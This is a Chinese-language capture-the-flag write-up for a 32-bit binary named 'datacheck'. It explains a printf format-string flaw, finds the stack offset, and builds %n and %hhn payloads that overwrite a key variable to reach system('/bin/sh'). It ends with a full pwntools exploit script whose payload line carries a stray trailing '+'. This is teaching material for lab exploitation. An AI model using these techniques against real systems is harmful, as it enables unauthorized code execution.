很有意思的一道题
checksec检查看有没有开启保护, 32位, 嘛也没开
运行一下, 随便输入后会有输出, 然后给出key的地址0x804a048
, 以及key的值不是0x02223322
, 结合题目描述, 要想办法修改key的值.
上IDA, 进入locker()
函数, 只要key==0x2223322
就会执行system('/bin/sh')
进入imagemagic()
函数发现存在格式化字符串漏洞printf
想到利用%n
去修改变量的值. 需要去找到输入参数在栈中的偏移量.通过%p
来读取16进制值, aaa
在栈中的偏移为12.
根据以上信息就可以构造payload:payload = p32(key_addr) + b'a' * (0x2223322 - 4) + b'%12$n'
, 这是的payload在逻辑上没有问题, 但是执行时却会因为输入的a太多而不可行.可以用pwntools自带的fmtstr_payload
来构造如下payload:payload = fmtstr_payload(12, {key_addr:0x2223322})
也可以利用h
与hh
来构造,hhn
写入的就是单字节,hn
写入的就是双字节
payload = p32(key_addr) + p32(key_addr + 1) + p32(key_addr + 2) + p32(key_addr + 3)
payload += b'%18x' + b'%12$hhn' + b'%17x' + b'%13$hhn' + b'%239x' + b'%14$hhn' + b'%224x' + b'%15$hhn'
四个p32()是16字符, 然后加上18是34也就是0x22
, 在加上17就是51也就是0x33
, 再加上239就是290也就是0x122
, 然后再加224就是514也就是0x202
, 由于hhn写入的是单字节, 依次得到0x22, 0x33, 0x22, 0x02
, 又因为小端存储就会得到0x02223322
.
完整payload如下:
from pwn import*
context.log_level = 'debug'
elf = ELF('./datacheck')
sh = process('./datacheck')
# sh = remote('61.147.171.105', 65420)
key_addr = 0x0804a048
payload = p32(key_addr) + p32(key_addr + 1) + p32(key_addr + 2) + p32(key_addr + 3) +
payload +=b'%18x' + b'%12$hhn' + b'%17x' + b'%13$hhn' + b'%239x' + b'%14$hhn' + b'%224x' + b'%15$hhn'
# payload1 = fmtstr_payload(12, {key_addr:0x2223322})
# paylaod2 = p32(key_addr) + b'a' * (0x2223322 - 4) + b'%12$n'
sh.sendline(payload)
sh.interactive()